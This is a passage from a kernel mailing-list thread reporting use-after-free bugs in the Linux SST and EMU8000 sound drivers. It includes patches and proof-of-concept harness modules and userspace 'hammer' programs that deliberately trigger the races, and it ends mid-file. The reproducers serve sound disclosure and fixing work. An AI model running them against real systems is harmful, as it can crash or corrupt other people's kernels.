static int cst_close(struct device *dev, unsigned int str_id)
{
atomic_inc(&compr_close_cnt);
pr_info("compr.close: str_id=%u (defect shape: drain_notify stays "
"armed in the slot; real kfree(data) follows)\n", str_id);
if (close_win_ms > 0)
msleep(close_win_ms);
return 0;
}
static int cst_start(struct device *dev, unsigned int str_id) { return 0; }
static int cst_drop(struct device *dev, unsigned int str_id) { return 0; }
static int cst_drain(struct device *dev, unsigned int str_id) { return 0; }
static int cst_pdrain(struct device *dev, unsigned int str_id) { return 0; }
static int cst_pause(struct device *dev, unsigned int str_id) { return 0; }
static int cst_prelease(struct device *dev, unsigned int str_id) { return 0; }
static int cst_tstamp(struct device *dev, unsigned int str_id,
struct snd_compr_tstamp64 *t) { return 0; }
static int cst_ack(struct device *dev, unsigned int str_id, unsigned long b)
{
return 0;
}
static int cst_caps(struct snd_compr_caps *c)
{
c->num_codecs = 1;
c->codecs[0] = SND_AUDIOCODEC_MP3;
return 0;
}
static int cst_ccaps(struct snd_compr_codec_caps *cc) { return 0; }
static int cst_meta(struct device *dev, unsigned int str_id,
struct snd_compr_metadata *m) { return 0; }
static int cst_power(struct device *dev, bool on) { return 0; }
static struct compress_sst_ops fake_compr = {
.name = "fakedsp-compr",
.open = cst_open,
.stream_start = cst_start,
.stream_drop = cst_drop,
.stream_drain = cst_drain,
.stream_partial_drain = cst_pdrain,
.stream_pause = cst_pause,
.stream_pause_release = cst_prelease,
.tstamp = cst_tstamp,
.ack = cst_ack,
.close = cst_close,
.get_caps = cst_caps,
.get_codec_caps = cst_ccaps,
.set_metadata = cst_meta,
.power = cst_power,
};
static struct sst_device fake_dev = {
.name = "fakedsp",
.ops = &fake_ops,
.compr_ops = &fake_compr,
/* .dev filled in init() with the real platform device's dev so
* sst_register_dsp()'s try_module_get(dev->driver->owner) pins
* our module */
};
/* ------------------------------------------------------------------ */
/* DSP-simulation kthread: plays the role of the DSP periodic IPC */
static int st_hammer_thread(void *data)
{
pr_info("hammer thread started (tick=%dms)\n", hammer_ticks);
while (!kthread_should_stop()) {
/* PCM side: real sst_period_elapsed(substream) -
* UAF once sst_media_close kfrees stream and
* snd_pcm_detach_substream kfrees runtime */
if (atomic_read(&pcm_captured) && pcm_period_elapsed) {
pcm_period_elapsed(pcm_arg);
atomic_inc(&hammer_cnt);
}
/* compress side: alternate the two REAL callbacks the DSP
* slot would fire; drain_notify is never cleared by
* sst_cdev_close (defect) so it keeps hitting freed
* cstream after close */
if (atomic_read(&compr_captured)) {
if (cst_drain_notify)
cst_drain_notify(cst_drain_param);
else if (cst_compr_cb)
cst_compr_cb(cst_param);
atomic_inc(&hammer_cnt);
}
msleep_interruptible(hammer_ticks);
}
return 0;
}
/* ------------------------------------------------------------------ */
/* ASoC card */
static struct snd_soc_dai_link_component st_cpus[2];
static struct snd_soc_dai_link_component st_codecs[2];
static struct snd_soc_dai_link st_links[2] = {
{
.name = "sst-pcm-link",
.stream_name = "SST PCM",
.cpus = &st_cpus[0],
.num_cpus = 1,
.codecs = &st_codecs[0],
.num_codecs = 1,
.nonatomic = true,
},
{
.name = "sst-compr-link",
.stream_name = "SST Compress",
.cpus = &st_cpus[1],
.num_cpus = 1,
.codecs = &st_codecs[1],
.num_codecs = 1,
.nonatomic = true,
},
};
static struct snd_soc_card st_soc_card = {
.name = "sstrace",
.owner = THIS_MODULE,
.dai_link = st_links,
.num_links = 2,
.fully_routed = true,
};
/* ------------------------------------------------------------------ */
/* action interface */
static char action_cmd[64];
static void action_workfn(struct work_struct *w)
{
char cmd[64];
strscpy(cmd, strstrip(action_cmd), sizeof(cmd));
pr_info("action='%s'\n", cmd);
if (!strncmp(cmd, "status", 6)) {
pr_info("status: pcm_captured=%d pcm_close=%d compr_captured=%d "
"compr_close=%d hammer=%d uaf_window=%d\n",
atomic_read(&pcm_captured),
atomic_read(&pcm_close_cnt),
atomic_read(&compr_captured),
atomic_read(&compr_close_cnt),
atomic_read(&hammer_cnt),
atomic_read(&uaf_window));
} else if (!strncmp(cmd, "stop", 4)) {
if (hammer_ts)
kthread_stop(hammer_ts);
hammer_ts = NULL;
pr_info("hammer stopped\n");
} else {
pr_info("unknown action '%s'\n", cmd);
}
}
static DECLARE_WORK(action_work, action_workfn);
static int action_set(const char *val, const struct kernel_param *kp)
{
int ret = param_set_copystring(val, kp);
if (ret == 0)
schedule_work(&action_work);
return ret;
}
static const struct kernel_param_ops action_ops = {
.set = action_set,
.get = param_get_string,
};
static struct kparam_string action_param = {
.maxlen = sizeof(action_cmd),
.string = action_cmd,
};
module_param_cb(action, &action_ops, &action_param, 0200);
MODULE_PARM_DESC(action, "status | stop");
/* ------------------------------------------------------------------ */
/* module init/exit */
static int __init sstrace_init(void)
{
int ret;
/* 1) real platform driver probe (registers real component + DAIs) */
st_pdev_sst = platform_device_register_simple("sst-mfld-platform",
-1, NULL, 0);
if (IS_ERR(st_pdev_sst)) {
ret = PTR_ERR(st_pdev_sst);
pr_err("register sst-mfld-platform failed %d\n", ret);
return ret;
}
if (!st_pdev_sst->dev.driver) {
pr_err("sst-mfld-platform driver did not bind (CONFIG_SND_SST_ATOM_HIFI2_PLATFORM?)\n");
ret = -ENODEV;
goto err_sst;
}
/* 2) card platform device with dma_mask armed (real managed buffer
* allocation in sst_soc_pcm_new needs it) */
st_pdev_card = platform_device_register_simple("sstrace-card", -1,
NULL, 0);
if (IS_ERR(st_pdev_card)) {
ret = PTR_ERR(st_pdev_card);
goto err_sst;
}
st_pdev_card->dev.dma_mask = &st_pdev_card->dev.coherent_dma_mask;
st_pdev_card->dev.coherent_dma_mask = DMA_BIT_MASK(32);
/* 3) register the fake DSP (exported sst_register_dsp) */
fake_dev.dev = &st_pdev_sst->dev;
ret = sst_register_dsp(&fake_dev);
if (ret < 0) {
pr_err("sst_register_dsp failed %d\n", ret);
goto err_card_pdev;
}
/* 4) ASoC card with real DAIs + dummy codec */
st_cpus[0].dai_name = "media-cpu-dai";
st_codecs[0].name = "snd-soc-dummy";
st_codecs[0].dai_name = "snd-soc-dummy-dai";
st_cpus[1].dai_name = "compress-cpu-dai";
st_codecs[1].name = "snd-soc-dummy";
st_codecs[1].dai_name = "snd-soc-dummy-dai";
st_soc_card.dev = &st_pdev_card->dev;
ret = snd_soc_register_card(&st_soc_card);
if (ret < 0) {
pr_err("snd_soc_register_card failed %d\n", ret);
goto err_dsp;
}
/* 5) DSP-simulation hammer thread */
hammer_ts = kthread_run(st_hammer_thread, NULL, "sstrace_hammer");
if (IS_ERR(hammer_ts)) {
hammer_ts = NULL;
ret = PTR_ERR(hammer_ts);
goto err_soc;
}
pr_info("ready: card registered; check /dev/snd/ for pcmC*D0p and "
"comprC*D1; hammer userspace close against the running "
"hammer thread\n");
return 0;
err_soc:
snd_soc_unregister_card(&st_soc_card);
err_dsp:
sst_unregister_dsp(&fake_dev);
err_card_pdev:
platform_device_unregister(st_pdev_card);
err_sst:
platform_device_unregister(st_pdev_sst);
return ret;
}
static void __exit sstrace_exit(void)
{
if (hammer_ts)
kthread_stop(hammer_ts);
snd_soc_unregister_card(&st_soc_card);
sst_unregister_dsp(&fake_dev);
platform_device_unregister(st_pdev_card);
platform_device_unregister(st_pdev_sst);
}
module_init(sstrace_init);
module_exit(sstrace_exit);
MODULE_LICENSE("GPL");
MODULE_DESCRIPTION("SOC-MR-01/02 verification harness: fake DSP + real sst-mfld-platform close/race");
[-- Attachment #3: sstcompr_test.c --]
[-- Type: text/plain, Size: 3256 bytes --]
// SPDX-License-Identifier: GPL-2.0
/*
* sstcompr_test - userspace compress hammer for SOC-MR-02 verification.
*
* cycle <n> [sleep_ms] : n times { open comprC*D -> SET_PARAMS(mp3) ->
* START -> sleep -> close }
* hold <sec> : one open->params->start, HWSYNC/POINTER loop
* (fd alive across modprobe -r).
* still : open/close only (no set_params -> callbacks
* never armed) - negative control.
*
* SET_PARAMS arms the REAL sst_platform_compr_set_params path which
* registers compr_cb=sst_compr_fragment_elapsed /
* drain_notify=sst_drain_notify (both with cstream) into the harness's
* captured slot; the harness kthread fires them across close().
*/
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <errno.h>
#include <sys/ioctl.h>
#include <time.h>
#include <sound/compress_offload.h>
#include <sound/compress_params.h>
static const char *dev = "/dev/snd/comprC0D1";
static int msleep(int ms)
{
struct timespec ts = { .tv_sec = ms / 1000,
.tv_nsec = (long)(ms % 1000) * 1000000L };
return nanosleep(&ts, NULL);
}
static int do_open(void)
{
int fd = open(dev, O_WRONLY);
if (fd < 0) {
fprintf(stderr, "open %s failed: %s\n", dev, strerror(errno));
return -1;
}
return fd;
}
static int set_params(int fd)
{
struct snd_compr_params *p = calloc(1, sizeof(*p));
if (!p)
return -1;
p->buffer.fragment_size = 4096;
p->buffer.fragments = 8;
p->codec.id = SND_AUDIOCODEC_MP3;
p->codec.ch_in = 2;
p->codec.ch_out = 2;
p->codec.sample_rate = 44100;
p->codec.bit_rate = 128;
p->codec.profile = 0; /* mp3: MPEG-1 layer III */
p->codec.level = 0;
if (ioctl(fd, SNDRV_COMPRESS_SET_PARAMS, p) < 0) {
perror("SET_PARAMS");
free(p);
return -1;
}
free(p);
if (ioctl(fd, SNDRV_COMPRESS_START) < 0) {
perror("START");
return -1;
}
return 0;
}
static int cycle(int n, int sleep_ms)
{
int i, fd;
for (i = 0; i < n; i++) {
fd = do_open();
if (fd < 0)
return 1;
if (set_params(fd) == 0)
msleep(sleep_ms);
close(fd);
if ((i % 25) == 0)
printf("compr cycle %d/%d done\n", i + 1, n);
}
printf("compr cycle: %d rounds done\n", n);
return 0;
}
static int hold(int seconds)
{
int fd, k;
fd = do_open();
if (fd < 0)
return 1;
if (set_params(fd))
return 1;
printf("compr hold: RUNNING fd=%d for %ds\n", fd, seconds);
for (k = 0; k < seconds * 10; k++)
msleep(100);
printf("compr hold: closing fd (release vs snd_compr_free race)\n");
close(fd);
return 0;
}
static int still(void)
{
int i, fd;
for (i = 0; i < 200; i++) {
fd = do_open();
if (fd < 0)
return 1;
close(fd); /* no SET_PARAMS -> callbacks never armed */
}
printf("compr still: 200 open/close done (callbacks never armed)\n");
return 0;
}
int main(int argc, char **argv)
{
if (argc >= 3 && !strcmp(argv[1], "cycle"))
return cycle(atoi(argv[2]), argc >= 4 ? atoi(argv[3]) : 100);
if (argc >= 3 && !strcmp(argv[1], "hold"))
return hold(atoi(argv[2]));
if (argc >= 2 && !strcmp(argv[1], "still"))
return still();
fprintf(stderr, "usage: %s cycle <n> [ms] | hold <sec> | still\n",
argv[0]);
return 2;
}
^ permalink raw reply [flat|nested] 101+ messages in thread* ASoC: intel: atom: SST: log the byte-stream message header before handing it to the dispatch queue (UAF)
[not found] ` <2026102727-data-sequel-ce41@gregkh>
` (27 preceding siblings ...)
2026-12-01 12:19 ` ASoC: intel: atom: SST: clear the compress drain callbacks on close and gate them on the stream status (UAF) 徐晗翔
@ 2026-12-01 12:22 ` 徐晗翔
2026-12-01 12:25 ` ALSA: emu8000: pin the module while an emu8k PCM runtime exists (UAF) 徐晗翔
` (12 subsequent siblings)
41 siblings, 0 replies; 101+ messages in thread
From: 徐晗翔 @ 2026-12-01 12:22 UTC (permalink / raw)
To: perex, tiwai; +Cc: linux-sound, linux-kernel
sst_send_byte_stream_mrfld() (sound/soc/intel/atom/sst/sst_stream.c)
hands its struct ipc_post to the dispatch queue with
sst_add_to_dispatch_list_and_post() and then keeps dereferencing its
local msg pointer in a dev_dbg() -- but ownership was transferred at
hand-off: sst_post_message_mrfld() unconditionally kfree()s the message
it dequeues (sst_ipc.c:174-175), and it does so synchronously on the
hand-off call when the IPCX register is free. With dynamic debug
enabled for this callsite (or any build where dev_dbg evaluates its
arguments), every byte-control/mixer parameter write to the SST DSP is
a use-after-free read of the freed header. When the IPCX register is
busy the message stays queued and is freed by the done-interrupt
workqueue (sst_process_pending_msg, sst.c:193) or a concurrent sender,
so the read races that free instead.
The sibling constructor sst_prepare_and_post_msg() (sst_pvt.c) logs the
same header *before* posting -- this callsite is the odd one out.
Verified statically against mainline 7.3 (the audited file is
byte-identical to the tested tree, also exists in 7.4 rc5): the ownership transfer, the
kfree-after-unlock at sst_ipc.c:173-175 in both the free-busy and
free-idle paths, and the post-hand-off dev_dbg at sst_stream.c:204-205.
No dynamic reproducer is attached: reaching this code requires LPE
audio (Merrifield/Baytrail/Cherrytrail) hardware with the SST firmware
running, which QEMU cannot emulate; every mixer/byte-control .put of
the SST driver funnels through sst_fill_and_send_cmd() ->
sst_send_byte_stream() -> this function, so the read triggers on
routine volume/mute/parameter changes once the debug callsite is
enabled (echo 'file sst_stream.c line 204 +p' >
/sys/kernel/debug/dynamic_debug/control). Impact is an
information-disclosure-flavored UAF read (4 bytes of a freed slab
object printed to the log; KASAN/KFENCE report it as
slab-use-after-free), not a write primitive.
The detailed description:
* Test environment / affected version (still exist in 7.4 rc5)
Analysis against Linux 7.3.0 (vanilla mainline tree; the audited
file sound/soc/intel/atom/sst/sst_stream.c is byte-identical between
the analysis tree and 7.3). The pattern predates 7.3; line numbers
below are from 7.3. Dynamic reproduction requires Merrifield/
Baytrail/Cherrytrail SST hardware, which the reporting environment
cannot provide; the defect and fix are purely source-level.
* Mechanism
- sst_add_to_dispatch_list_and_post() (sst_pvt.c:362-371) appends
msg to sst->ipc_dispatch_list under ipc_spin_lock, releases it and
calls sst->ops->post_message(sst, NULL, false);
- sst_post_message_mrfld() (sst_ipc.c:116-177): when the IPCX busy
bit is clear it dequeues the message (list_del at :158), posts it,
releases ipc_spin_lock (:173) and kfree()s msg->mailbox_data and
msg (:174-175) before returning -- so after
sst_add_to_dispatch_list_and_post() returns, the caller's msg
pointer is already dangling;
- when the busy bit is set the message stays queued (:149-153) and
is freed later by sst_process_pending_msg() (queued by the
done-interrupt at sst.c:73) or by any concurrent sender, racing
the caller's read;
- sst_send_byte_stream_mrfld() (sst_stream.c:203-205) nonetheless
evaluates msg->mrfld_header.p.header_low_payload after the
hand-off.
* Trigger model
Any SST mixer/byte-control write (volume, mute, DSP parameters --
all funnel through sst_fill_and_send_cmd() at
sound/soc/intel/atom/sst-atom-controls.c) with the dynamic-debug
callsite enabled, or a kernel built with DEBUG. No special
privileges beyond access to the sound card device nodes. KASAN
classifies it as slab-use-after-free (read).
* Fix (full patch below)
Log the header before the hand-off (matching what
sst_prepare_and_post_msg() already does at sst_pvt.c:218-219) and
never touch msg after sst_add_to_dispatch_list_and_post(). The
patch is written against 7.4 rc5.
* Patch
--- a/sound/soc/intel/atom/sst/sst_stream.c
+++ b/sound/soc/intel/atom/sst/sst_stream.c
@@ -200,9 +200,12 @@
}
}
- sst_add_to_dispatch_list_and_post(sst_drv_ctx, msg);
dev_dbg(sst_drv_ctx->dev, "msg->mrfld_header.p.header_low_payload:%d",
msg->mrfld_header.p.header_low_payload);
+ sst_add_to_dispatch_list_and_post(sst_drv_ctx, msg);
if (bytes_block) {
ret = sst_wait_timeout(sst_drv_ctx, block);
Please keep me in Cc; I am not subscribed to the lists.
Regards,
Hanxiang Xu
xuhx@hust.edu.cn
^ permalink raw reply [flat|nested] 101+ messages in thread* ALSA: emu8000: pin the module while an emu8k PCM runtime exists (UAF)
[not found] ` <2026102727-data-sequel-ce41@gregkh>
` (28 preceding siblings ...)
2026-12-01 12:22 ` ASoC: intel: atom: SST: log the byte-stream message header before handing it to the dispatch queue (UAF) 徐晗翔
@ 2026-12-01 12:25 ` 徐晗翔
2026-12-01 13:13 ` Takashi Iwai
2026-12-01 12:28 ` ALSA: emu8000: sync the PCM emulation timer before freeing snd_emu8k_pcm and gate the callback re-arm on timer_running (UAF) 徐晗翔
` (11 subsequent siblings)
41 siblings, 1 reply; 101+ messages in thread
From: 徐晗翔 @ 2026-12-01 12:25 UTC (permalink / raw)
To: perex, tiwai; +Cc: linux-sound, linux-kernel
[-- Attachment #1: Type: text/plain, Size: 7096 bytes --]
The EMU8000 wavetable sub-driver (snd_emu8000_synth, an snd_seq bus
driver) creates a PCM device on the *host* sound card
(snd_emu8000_pcm_new -> snd_pcm_new) from its probe, and its remove
(snd_emu8000_remove, emu8000_synth.c:83-97) frees it again with
snd_device_free(dev->card, hw->pcm) unconditionally. snd_device_free()
-> __snd_device_free() runs dev_disconnect (snd_pcm_dev_disconnect:
stops the streams, unregisters the minor, releases pcm->open_mutex and
returns) and then immediately dev_free -> snd_pcm_free() -> kfree of
every substream and of the snd_pcm itself. Nothing in that sequence
waits for open fds: an fd on /dev/snd/pcmC*D1p pins only the *host
card* module (try_module_get(pcm->card->module) in snd_pcm_open,
pcm_native.c:2924) and modern driver-core removal runs the remove
callback via driver_detach() even while fds are open. The in-flight
fd's later operations, and its final close(), then walk freed memory:
snd_pcm_release() reads pcm_file->substream and substream->pcm
(pcm_native.c:2976-2979), takes the freed pcm->open_mutex, and
snd_pcm_release_substream() calls substream->ops->close, which points
into the unloaded module's text (exec-after-unload).
Verified on mainline 7.3 with a KASAN kernel, QEMU/KVM x86_64 guest and
a harness that replicates snd_emu8000_new()'s device-registration tail
against a fake hw (mem_size>0, so the REAL snd_emu8000_probe() in
snd-emu8000-synth.ko creates the real PCM via snd_emu8000_pcm_new()),
then holds an OPEN fd across `rmmod snd_emu8000_synth`:
- pure form (idle fd): 12 reports -- slab-use-after-free in
snd_pcm_release+0x3a/+0x4d (pcm_file->substream / substream->pcm),
slab-out-of-bounds in snd_power_ref_and_wait, plus
__wake_up_common/snd_refcount_put; Freed = kfree <-
snd_pcm_free_stream <- __snd_device_free <-
device_release_driver_internal (the rmmod detach path),
Allocated = snd_pcm_new_stream <- _snd_pcm_new <- snd_pcm_new <-
snd_emu8000_pcm_new [snd_emu8000_synth];
- orderly-teardown control (no fd open during removal): 0 reports;
- RUNNING fd + rmmod: 300+ further wild-access reports (the freed
timer/pcm overlap corrupts timer and IRQ structures; that flood
also involves the timer defect I am reporting separately for this
driver).
Any AWE32/AWE64 (snd-sbawe) system with snd_emu8000_synth loaded and a
PCM fd open is affected; `rmmod snd_emu8000_synth` (or unbinding the
seq device on the snd_seq bus) needs root, the fd side needs nothing.
The detailed description:
* Test environment / affected version (also reproduced on 7.4-rc5)
Linux version 7.3.0 (gcc 13.3.0, GNU ld 2.42) #1 SMP PREEMPT_DYNAMIC
-- vanilla mainline 7.3 tree, unmodified sources, KASAN enabled,
QEMU/KVM x86_64 guest, CONFIG_SND_SBAWE=m + CONFIG_SND_SBAWE_SEQ=m
(the emulator only provides the ISA ports; the harness registers the
emu8000-synth seq device exactly as snd_emu8000_new()'s tail does,
skipping only the chip-detect probe that needs the real silicon --
the AWE32 DRAM-populated case sets mem_size>0 exactly as the harness
does). The audited files sound/isa/sb/* are byte-identical between
the tested tree and the report baseline; line numbers below are from
7.3.
* Mechanism
- snd_pcm_open() pins pcm->card->module only (pcm_native.c:2924);
emu8k_pcm_open() (emu8000_pcm.c:218-243) does not pin the
snd-emu8000-synth module that owns the pcm ops and data;
- snd_device_free() (device.c:130) -> __snd_device_free()
(device.c:69) runs disconnect then dev_free back-to-back; there is
no open-fd drain anywhere on this path (the full-card teardown
gets that from snd_card_disconnect_sync(), which the sub-driver's
independent removal bypasses);
- snd_pcm_free_stream() kfrees the substreams (pcm.c:826) and
snd_pcm_free() kfrees the pcm (pcm.c:863);
- contrast: the HDA codec driver does exactly the required wait
(snd_refcount_sync(&codec->pcm_ref) in hda_codec_driver_remove,
bind.c:165) before releasing its PCMs.
The rmmod path works while fds are open because driver_detach() runs
the remove callback from module exit regardless of users (modern
driver core keeps no per-device module reference); the sysfs unbind
on the snd_seq bus reaches the same remove directly.
* Trigger model
`rmmod snd_emu8000_synth` (root) while any /dev/snd/pcmC*D1p fd is
open, or unbind of the emu8000-synth seq device. The fd side needs
no privileges. The final close() of the fd always lands after the
free (deterministic), in-flight ioctls race it (probabilistic).
Consequence: slab use-after-free reads, UAF mutex lock, and a call
into the unloaded module's code through substream->ops->close.
* Reproducer (attached: awerace.c + awe_test.c) and results on 7.3 (also reproduced on 7.4-rc5)
awerace.c registers the "emu8000-synth" seq device exactly as
snd_emu8000_new()'s tail does (snd_seq_device_new + ARGPTR), with
mem_size>0 so the REAL snd_emu8000_probe() in snd-emu8000-synth.ko
creates the REAL PCM (snd_emu8000_pcm_new -> emu8k_pcm_ops);
everything downstream -- probe, pcm_new, open, close, remove,
snd_device_free -- is genuine in-tree code. awe_test holds the fd.
# build
make -C <kernel-build-dir> M=$PWD modules
# guest (root):
insmod snd-emu8000-synth.ko # after awerace in repro ordering
insmod awerace.ko port=0x2000 mem_kb=512 card_idx=1
./awe_test idle 25 & # OPEN fd, idle
sleep 3
rmmod snd_emu8000_synth # snd_emu8000_remove with fd in flight
# the holder's exit close() then walks the freed pcm/substream
Results (7.3, 8 vCPU): 12 reports in the pure form quoted above;
orderly-teardown control (same sequence, no fd): 0 reports.
* Fix
Minimal, targeted first step: emu8k_pcm_open() pins
snd-emu8000-synth (try_module_get(THIS_MODULE)) once a runtime holds
a pointer into the module, emu8k_pcm_close() drops it. With the fd
holding a module reference, `rmmod snd_emu8000_synth` returns EBUSY
instead of running snd_emu8000_remove() under the fd, which closes
the main rmmod trigger completely. A complete fix for the sysfs
unbind path needs a pcm_ref-style wait (the pattern
hda_codec_driver_remove() already implements with
snd_refcount_sync(&codec->pcm_ref)); I am happy to prototype that
direction on request -- the reported pin closes the unprivileged-fd
exposure now.
* Patch
--- a/sound/isa/sb/emu8000_pcm.c
+++ b/sound/isa/sb/emu8000_pcm.c
@@ -228,6 +228,14 @@
rec->emu = emu;
rec->substream = subs;
runtime->private_data = rec;
+ if (!try_module_get(THIS_MODULE)) {
+ kfree(rec);
+ return -ENODEV;
+ }
spin_lock_init(&rec->timer_lock);
timer_setup(&rec->timer, emu8k_pcm_timer_func, 0);
--- a/sound/isa/sb/emu8000_pcm.c
+++ b/sound/isa/sb/emu8000_pcm.c
@@ -248,6 +248,7 @@
struct snd_emu8k_pcm *rec = subs->runtime->private_data;
kfree(rec);
subs->runtime->private_data = NULL;
+ module_put(THIS_MODULE);
return 0;
}
Please keep me in Cc; I am not subscribed to the lists.
Regards,
Hanxiang Xu
xuhx@hust.edu.cn
[-- Attachment #2: awerace.c --]
[-- Type: text/plain, Size: 5898 bytes --]
// SPDX-License-Identifier: GPL-2.0
/*
* awerace.c - dynamic verification harness for SOC-MR-05 / SOC-MR-07
* (docs/manual-review-sound-soc-2026-11-26.md):
*
* SOC-MR-05: snd_emu8000_remove() calls snd_device_free(card, hw->pcm)
* with active /dev/snd/pcmC*D1p fds in flight (the fd pins
* only the host card module, NOT snd_emu8000_synth) ->
* snd_pcm_free_stream() kfree(substream) / snd_pcm_free()
* kfree(pcm) race the fd's ioctl/close paths (plus
* exec-after-unload via substream->ops->close).
* SOC-MR-07: emu8k_pcm_trigger(STOP) -> stop_voice() uses the
* non-sync timer_delete(); the in-flight softirq callback
* emu8k_pcm_timer_func() then locks/reads/writes the
* kfree()'d snd_emu8k_pcm (emu8k_pcm_close kfrees rec)
* and even re-arms a ghost timer.
*
* Device-creation shape: this module replicates the seq-device
* registration tail of snd_emu8000_new() (emu8000.c:1074-1078) - the
* only part reachable without an EMU8000 chip - and skips the hardware
* probe tail (devm_request_region done here on free ISA ports,
* snd_emu8000_detect/init_hw skipped, mem_size forced >0 exactly like
* a DRAM-populated AWE32 so that snd_emu8000_probe() creates the PCM).
* Everything downstream is REAL in-tree code: snd_emu8000_probe
* (snd-emu8000-synth.ko), snd_emu8000_pcm_new, emu8k_pcm_open/prepare/
* trigger/timer/close, snd_emu8000_remove, snd_device_free.
*
* Usage (init plans):
* insmod /socmr06.ko ... (not this one)
* modprobe snd-emu8000-synth (bus id "emu8000-synth" matches first)
* insmod /awerace.ko port=0x620 mem_kb=512
* -> card0 device1 playback appears; userspace awe_test hammers it.
* SOC-MR-05: keep fd open, then modprobe -r snd-emu8000-synth.
*/
#define pr_fmt(fmt) "AWERACE: " fmt
#include <linux/module.h>
#include <linux/init.h>
#include <linux/kernel.h>
#include <linux/ioport.h>
#include <linux/platform_device.h>
#include <linux/spinlock.h>
#include <sound/core.h>
#include <sound/seq_device.h>
#include <sound/emu8000.h>
static int port = 0x620;
module_param(port, int, 0400);
MODULE_PARM_DESC(port, "base ISA port for the fake EMU8000 (default 0x620)");
static int mem_kb = 512;
module_param(mem_kb, int, 0400);
MODULE_PARM_DESC(mem_kb, "fake DRAM size in KB (mem_size; >0 makes probe create the PCM)");
static int card_idx = 1;
module_param(card_idx, int, 0400);
MODULE_PARM_DESC(card_idx, "snd_card index to use (0 is the HDA card in some kernels)");
static struct snd_card *awe_card;
static struct snd_emu8000 *awe_hw;
static struct resource *awe_res[3];
static struct platform_device *awe_pdev;
static int __init awerace_init(void)
{
struct snd_seq_device *awe = NULL;
unsigned long base = (unsigned long)port;
int i, ret;
awe_pdev = platform_device_register_simple("awerace-card", -1, NULL, 0);
if (IS_ERR(awe_pdev)) {
ret = PTR_ERR(awe_pdev);
pr_err("card pdev failed %d\n", ret);
return ret;
}
/* sound card (plain ALSA card - emu8000 PCM is not ASoC) */
ret = snd_card_new(&awe_pdev->dev, card_idx, "AWERACE", THIS_MODULE, 0,
&awe_card);
if (ret < 0) {
pr_err("snd_card_new failed %d\n", ret);
return ret;
}
awe_hw = kzalloc(sizeof(*awe_hw), GFP_KERNEL);
if (!awe_hw) {
ret = -ENOMEM;
goto err_card;
}
spin_lock_init(&awe_hw->reg_lock);
awe_hw->index = 1;
awe_hw->port1 = base;
awe_hw->port2 = base + 0x400;
awe_hw->port3 = base + 0x800;
awe_hw->mem_size = mem_kb * 1024; /* >0: probe creates the PCM */
awe_hw->card = awe_card;
awe_hw->seq_ports = 1;
awe_hw->bass_level = 5;
awe_hw->treble_level = 9;
awe_hw->chorus_mode = 2;
awe_hw->reverb_mode = 4;
awe_hw->fm_chorus_depth = 0;
awe_hw->fm_reverb_depth = 0;
/* ports: no EMU8000 chip behind them in QEMU; reads return 0xff
* which keeps the code's busy-waits terminating (0xff & 0x80000000
* == 0). Same ports snd_emu8000_new() would request. */
for (i = 0; i < 3; i++) {
awe_res[i] = request_region(base + i * 0x400, 4, "AWERACE");
if (!awe_res[i]) {
pr_err("request_region 0x%lx failed\n", base + i * 0x400);
ret = -EBUSY;
goto err_hw;
}
}
/*
* REAL-CODE tail of snd_emu8000_new() (emu8000.c:1074-1078):
* register the "emu8000-synth" seq device with our hw as arg.
* When snd-emu8000-synth.ko is loaded, the seq bus matches and
* the REAL snd_emu8000_probe() runs against this hw.
*/
ret = snd_seq_device_new(awe_card, 1, SNDRV_SEQ_DEV_ID_EMU8000,
sizeof(struct snd_emu8000 *), &awe);
if (ret < 0) {
pr_err("snd_seq_device_new failed %d\n", ret);
goto err_hw;
}
strscpy(awe->name, "EMU-8000", sizeof(awe->name));
*(struct snd_emu8000 **)SNDRV_SEQ_DEVICE_ARGPTR(awe) = awe_hw;
ret = snd_card_register(awe_card);
if (ret < 0) {
pr_err("snd_card_register failed %d\n", ret);
goto err_hw;
}
pr_info("card=%px hw=%px ports 0x%lx/0x%lx/0x%lx mem=%dK seqdev=%px\n",
awe_card, awe_hw, awe_hw->port1, awe_hw->port2,
awe_hw->port3, mem_kb, awe);
pr_info("if snd-emu8000-synth is loaded, real snd_emu8000_probe should have run; check /sys/class/sound/ for pcmC%dD1p\n",
awe_card->number);
return 0;
err_hw:
kfree(awe_hw);
awe_hw = NULL;
err_card:
snd_card_free(awe_card);
awe_card = NULL;
platform_device_unregister(awe_pdev);
return ret;
}
static void __exit awerace_exit(void)
{
int i;
if (awe_card)
snd_card_free(awe_card); /* seq device removed; real
* snd_emu8000_remove() body
* runs if synth bound */
kfree(awe_hw);
awe_hw = NULL;
for (i = 0; i < 3; i++)
if (awe_res[i])
release_region((unsigned long)port + i * 0x400, 4);
platform_device_unregister(awe_pdev);
}
module_init(awerace_init);
module_exit(awerace_exit);
MODULE_LICENSE("GPL");
MODULE_DESCRIPTION("SOC-MR-05/07 verification harness: fake EMU8000 device driving real snd-emu8000-synth probe/remove + emu8k PCM");
[-- Attachment #3: awe_test.c --]
[-- Type: text/plain, Size: 7831 bytes --]
// SPDX-License-Identifier: GPL-2.0
/*
* awe_test - userspace PCM hammer for SOC-MR-05/07 verification.
*
* modes:
* cycle <n> [sleep_ms] : n times { open pcmC*D1p -> hw_params ->
* prepare -> START -> sleep -> close }
* MR-07: close() path snd_pcm_drop -> trigger
* STOP -> stop_voice()'s non-sync
* timer_delete() races the in-flight softirq
* emu8k_pcm_timer_func() while
* emu8k_pcm_close() kfrees rec.
* hold <seconds> : one open->params->prepare->START, keep
* HWSYNC/DELAY queries in a loop (fd stays
* alive across modprobe -r snd-emu8000-synth)
* then close - MR-05: snd_emu8000_remove ->
* snd_device_free(hw->pcm) races the in-flight
* fd operations and the final release.
* idle <seconds> : open then sleep (fd held, no PCM activity).
* still : 200x open/close, never hw_params/START
* (timer never armed) - MR-07 negative control.
*/
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <errno.h>
#include <sys/ioctl.h>
#include <time.h>
#include <sound/asound.h> /* system uapi header, verified identical to linux-7.3 */
static const char *dev_pcm = "/dev/snd/pcmC1D1p";
static const char *dev;
static int msleep(int ms)
{
struct timespec ts = { .tv_sec = ms / 1000,
.tv_nsec = (long)(ms % 1000) * 1000000L };
return nanosleep(&ts, NULL);
}
static int do_open(void)
{
int fd = open(dev, O_WRONLY);
if (fd < 0) {
fprintf(stderr, "open %s failed: %s\n", dev, strerror(errno));
return -1;
}
return fd;
}
/* fill "any" masks then fix rate/channels/buffer/period */
static int setup_params(int fd)
{
